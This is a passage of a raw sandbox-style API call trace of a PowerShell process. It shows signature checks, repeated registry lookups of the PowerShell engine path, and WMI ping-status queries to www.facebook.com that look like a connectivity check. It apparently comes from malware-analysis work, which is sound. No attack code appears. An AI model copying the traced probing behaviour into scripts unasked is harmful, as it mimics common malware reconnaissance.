ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0134.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572c92c) returned 1 [0134.774] CoTaskMemAlloc (cb=0x10) returned 0x5c6c178 [0134.774] CoTaskMemAlloc (cb=0x10) returned 0x5c6c1a8 [0134.774] CoTaskMemAlloc (cb=0xe4) returned 0x3b3fa0 [0134.774] CoTaskMemAlloc (cb=0x30) returned 0x3e9520 [0134.774] WinVerifyTrust () returned 0x800b0100 [0134.783] CoTaskMemFree (pv=0x5c6c178) [0134.783] CoTaskMemFree (pv=0x3e9520) [0134.784] CryptCATHandleFromStore () returned 0x340f60 [0134.784] WTHelperGetProvSignerFromChain () returned 0x0 [0134.784] CoTaskMemAlloc (cb=0x10) returned 0x5c6c178 [0134.784] CoTaskMemAlloc (cb=0x30) returned 0x3e9520 [0134.784] WinVerifyTrust () returned 0x0 [0134.785] CoTaskMemFree (pv=0x3e9520) [0134.785] CoTaskMemFree (pv=0x5c6c178) [0134.785] CoTaskMemFree (pv=0x3b3fa0) [0134.785] CoTaskMemFree (pv=0x5c6c1a8) [0134.888] CoCreateGuid (in: pguid=0x572cb8c | out: pguid=0x572cb8c*(Data1=0xa091d171, Data2=0xaee, Data3=0x45c8, Data4=([0]=0xb5, [1]=0x0, [2]=0xef, [3]=0x78, [4]=0xb7, [5]=0x9e, [6]=0x1b, [7]=0xe6))) returned 0x0 [0134.889] CoCreateGuid (in: pguid=0x572cb8c | out: pguid=0x572cb8c*(Data1=0x3c6dd6de, Data2=0x8ba8, Data3=0x44d3, Data4=([0]=0x91, [1]=0x1b, [2]=0x90, [3]=0x39, [4]=0x9e, [5]=0x4b, [6]=0x3b, [7]=0xb3))) returned 0x0 [0134.889] CoCreateGuid (in: pguid=0x572cb8c | out: pguid=0x572cb8c*(Data1=0x5dca545a, Data2=0x2781, Data3=0x4715, Data4=([0]=0x8e, [1]=0xac, [2]=0xf1, [3]=0x1a, [4]=0x5e, [5]=0xe9, [6]=0x1e, [7]=0x3e))) returned 0x0 [0134.889] CoCreateGuid (in: pguid=0x572cb8c | out: pguid=0x572cb8c*(Data1=0x457dc0b, Data2=0xb908, Data3=0x401d, Data4=([0]=0x98, [1]=0x7a, [2]=0xe4, [3]=0x24, [4]=0x12, [5]=0xc, [6]=0x83, [7]=0xbd))) returned 0x0 [0134.892] CoCreateGuid (in: pguid=0x572cb8c | out: pguid=0x572cb8c*(Data1=0x973ce94, Data2=0x9a82, Data3=0x4c55, Data4=([0]=0xa0, [1]=0xdb, [2]=0x4a, [3]=0x3e, [4]=0xb9, [5]=0xd6, [6]=0x65, [7]=0xc9))) returned 0x0 [0134.892] CoCreateGuid (in: pguid=0x572cb8c | out: pguid=0x572cb8c*(Data1=0xfd99121d, Data2=0x3218, Data3=0x4239, Data4=([0]=0xa1, [1]=0x15, [2]=0x7e, [3]=0x6c, [4]=0xf2, [5]=0x50, [6]=0x82, [7]=0x3f))) returned 0x0 [0135.052] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572dee4 | out: phkResult=0x572dee4*=0x568) returned 0x0 [0135.052] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x0, lpcbData=0x572df00*=0x0 | out: lpType=0x572df04*=0x1, lpData=0x0, lpcbData=0x572df00*=0x56) returned 0x0 [0135.052] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x223e378, lpcbData=0x572df00*=0x56 | out: lpType=0x572df04*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df00*=0x56) returned 0x0 [0135.052] RegCloseKey (hKey=0x568) returned 0x0 [0135.053] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572dee4 | out: phkResult=0x572dee4*=0x568) returned 0x0 [0135.053] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x0, lpcbData=0x572df00*=0x0 | out: lpType=0x572df04*=0x1, lpData=0x0, lpcbData=0x572df00*=0x56) returned 0x0 [0135.053] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x223e68c, lpcbData=0x572df00*=0x56 | out: lpType=0x572df04*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df00*=0x56) returned 0x0 [0135.053] RegCloseKey (hKey=0x568) returned 0x0 [0135.053] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572dee4 | out: phkResult=0x572dee4*=0x568) returned 0x0 [0135.053] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x0, lpcbData=0x572df00*=0x0 | out: lpType=0x572df04*=0x1, lpData=0x0, lpcbData=0x572df00*=0x56) returned 0x0 [0135.053] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x223e988, lpcbData=0x572df00*=0x56 | out: lpType=0x572df04*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df00*=0x56) returned 0x0 [0135.053] RegCloseKey (hKey=0x568) returned 0x0 [0135.053] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572dee4 | out: phkResult=0x572dee4*=0x568) returned 0x0 [0135.054] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x0, lpcbData=0x572df00*=0x0 | out: lpType=0x572df04*=0x1, lpData=0x0, lpcbData=0x572df00*=0x56) returned 0x0 [0135.054] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x223ec84, lpcbData=0x572df00*=0x56 | out: lpType=0x572df04*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df00*=0x56) returned 0x0 [0135.054] RegCloseKey (hKey=0x568) returned 0x0 [0135.054] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572dee4 | out: phkResult=0x572dee4*=0x568) returned 0x0 [0135.054] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x0, lpcbData=0x572df00*=0x0 | out: lpType=0x572df04*=0x1, lpData=0x0, lpcbData=0x572df00*=0x56) returned 0x0 [0135.054] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x223ef98, lpcbData=0x572df00*=0x56 | out: lpType=0x572df04*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df00*=0x56) returned 0x0 [0135.054] RegCloseKey (hKey=0x568) returned 0x0 [0135.054] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572dee4 | out: phkResult=0x572dee4*=0x568) returned 0x0 [0135.054] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x0, lpcbData=0x572df00*=0x0 | out: lpType=0x572df04*=0x1, lpData=0x0, lpcbData=0x572df00*=0x56) returned 0x0 [0135.054] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x223f2ac, lpcbData=0x572df00*=0x56 | out: lpType=0x572df04*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df00*=0x56) returned 0x0 [0135.055] RegCloseKey (hKey=0x568) returned 0x0 [0135.055] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572dee4 | out: phkResult=0x572dee4*=0x568) returned 0x0 [0135.055] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x0, lpcbData=0x572df00*=0x0 | out: lpType=0x572df04*=0x1, lpData=0x0, lpcbData=0x572df00*=0x56) returned 0x0 [0135.055] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df04, lpData=0x223f5a8, lpcbData=0x572df00*=0x56 | out: lpType=0x572df04*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df00*=0x56) returned 0x0 [0135.055] RegCloseKey (hKey=0x568) returned 0x0 [0135.055] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572df30 | out: phkResult=0x572df30*=0x568) returned 0x0 [0135.055] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df50, lpData=0x0, lpcbData=0x572df4c*=0x0 | out: lpType=0x572df50*=0x1, lpData=0x0, lpcbData=0x572df4c*=0x56) returned 0x0 [0135.055] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df50, lpData=0x223f8a4, lpcbData=0x572df4c*=0x56 | out: lpType=0x572df50*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df4c*=0x56) returned 0x0 [0135.055] RegCloseKey (hKey=0x568) returned 0x0 [0135.056] CoTaskMemAlloc (cb=0x20c) returned 0x3b06f8 [0135.056] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x3b06f8 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0135.056] CoTaskMemFree (pv=0x3b06f8) [0135.056] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0135.056] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0135.057] EtwEventActivityIdControl () returned 0x0 [0135.057] SetEvent (hEvent=0x558) returned 1 [0135.057] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e28c*=0x558, lpdwindex=0x572e0b0 | out: lpdwindex=0x572e0b0) returned 0x0 [0135.057] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e220, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0135.058] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572e384 | out: lpConsoleScreenBufferInfo=0x572e384) returned 1 [0135.058] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572e384 | out: lpConsoleScreenBufferInfo=0x572e384) returned 1 [0135.129] EtwEventActivityIdControl () returned 0x0 [0135.129] EtwEventActivityIdControl () returned 0x0 [0135.129] EtwEventActivityIdControl () returned 0x0 [0135.132] EtwEventActivityIdControl () returned 0x0 [0135.132] EtwEventActivityIdControl () returned 0x0 [0135.132] EtwEventActivityIdControl () returned 0x0 [0135.231] QueryPerformanceCounter (in: lpPerformanceCount=0x572e354 | out: lpPerformanceCount=0x572e354*=1177620831604) returned 1 [0135.456] QueryPerformanceCounter (in: lpPerformanceCount=0x572e31c | out: lpPerformanceCount=0x572e31c*=1177643326269) returned 1 [0136.610] EtwEventWriteTransfer () returned 0x0 [0136.690] QueryPerformanceCounter (in: lpPerformanceCount=0x572e830 | out: lpPerformanceCount=0x572e830*=1177766743216) returned 1 [0136.737] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x568 [0136.738] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0136.738] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0136.738] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.738] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278f28*=0, plFlavor=0x2278f2c*=0 | out: pVal=0x572e584*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2278f28*=8, plFlavor=0x2278f2c*=64) returned 0x0 [0136.738] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.738] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.738] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278f28*=8, plFlavor=0x2278f2c*=64 | out: pVal=0x572e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2278f28*=8, plFlavor=0x2278f2c*=64) returned 0x0 [0136.738] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.738] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.738] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0136.738] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0136.738] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.738] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278fc4*=0, plFlavor=0x2278fc8*=0 | out: pVal=0x572e584*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2278fc4*=8, plFlavor=0x2278fc8*=64) returned 0x0 [0136.739] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.739] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.739] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278fc4*=8, plFlavor=0x2278fc8*=64 | out: pVal=0x572e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2278fc4*=8, plFlavor=0x2278fc8*=64) returned 0x0 [0136.739] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.739] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.739] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0136.739] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0136.739] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.739] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279120*=0, plFlavor=0x2279124*=0 | out: pVal=0x572e584*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e18*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2279120*=8200, plFlavor=0x2279124*=64) returned 0x0 [0136.739] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279120*=8200, plFlavor=0x2279124*=64 | out: pVal=0x572e58c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78cc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2279120*=8200, plFlavor=0x2279124*=64) returned 0x0 [0136.740] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0136.740] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0136.740] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.740] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279388*=0, plFlavor=0x227938c*=0 | out: pVal=0x572e584*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2279388*=8, plFlavor=0x227938c*=64) returned 0x0 [0136.740] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.740] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.740] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279388*=8, plFlavor=0x227938c*=64 | out: pVal=0x572e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2279388*=8, plFlavor=0x227938c*=64) returned 0x0 [0136.740] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.740] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.740] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0136.740] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0136.740] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.740] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22794b0*=0, plFlavor=0x22794b4*=0 | out: pVal=0x572e584*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e18*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22794b0*=8200, plFlavor=0x22794b4*=64) returned 0x0 [0136.741] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22794b0*=8200, plFlavor=0x22794b4*=64 | out: pVal=0x572e58c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78cc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22794b0*=8200, plFlavor=0x22794b4*=64) returned 0x0 [0136.742] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5a0 | out: puCount=0x572e5a0*=0x2) returned 0x0 [0136.742] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e59c*=0x0, pszText=0x0 | out: puBuffLength=0x572e59c*=0xf, pszText=0x0) returned 0x0 [0136.742] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e59c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e59c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.742] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5a0 | out: puCount=0x572e5a0*=0x2) returned 0x0 [0136.742] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e59c*=0x0, pszText=0x0 | out: puBuffLength=0x572e59c*=0xf, pszText=0x0) returned 0x0 [0136.742] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e59c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e59c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.742] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e5a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e59c | out: pNames=0x572e59c*="\x01ƀ\x04") returned 0x0 [0136.742] SafeArrayGetDim (psa=0x5c78de8) returned 0x1 [0136.742] SafeArrayGetDim (psa=0x5c78de8) returned 0x1 [0136.742] SafeArrayGetLBound (in: psa=0x5c78de8, nDim=0x1, plLbound=0x572e434 | out: plLbound=0x572e434) returned 0x0 [0136.742] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.742] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.743] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.743] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.743] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.743] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.743] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.743] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.743] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.743] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.743] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.743] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.743] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.743] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.743] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.743] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.743] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.743] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.743] SysStringByteLen (bstr="__PATH") returned 0xc [0136.743] SysStringByteLen (bstr="__PATH") returned 0xc [0136.744] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279d34*=0, plFlavor=0x2279d38*=0 | out: pVal=0x572e598*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2279d34*=3, plFlavor=0x2279d38*=64) returned 0x0 [0136.744] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279d68*=0, plFlavor=0x2279d6c*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2279d68*=8, plFlavor=0x2279d6c*=64) returned 0x0 [0136.744] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.744] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.744] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279dc0*=0, plFlavor=0x2279dc4*=0 | out: pVal=0x572e598*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279dc0*=8, plFlavor=0x2279dc4*=64) returned 0x0 [0136.745] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279de8*=0, plFlavor=0x2279dec*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2279de8*=8, plFlavor=0x2279dec*=64) returned 0x0 [0136.745] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.745] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.745] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279e40*=0, plFlavor=0x2279e44*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2279e40*=8, plFlavor=0x2279e44*=64) returned 0x0 [0136.745] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.745] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.745] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227a02c*=0, plFlavor=0x227a030*=0 | out: pVal=0x572e598*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x227a02c*=3, plFlavor=0x227a030*=64) returned 0x0 [0136.745] IWbemClassObject:Get (in: 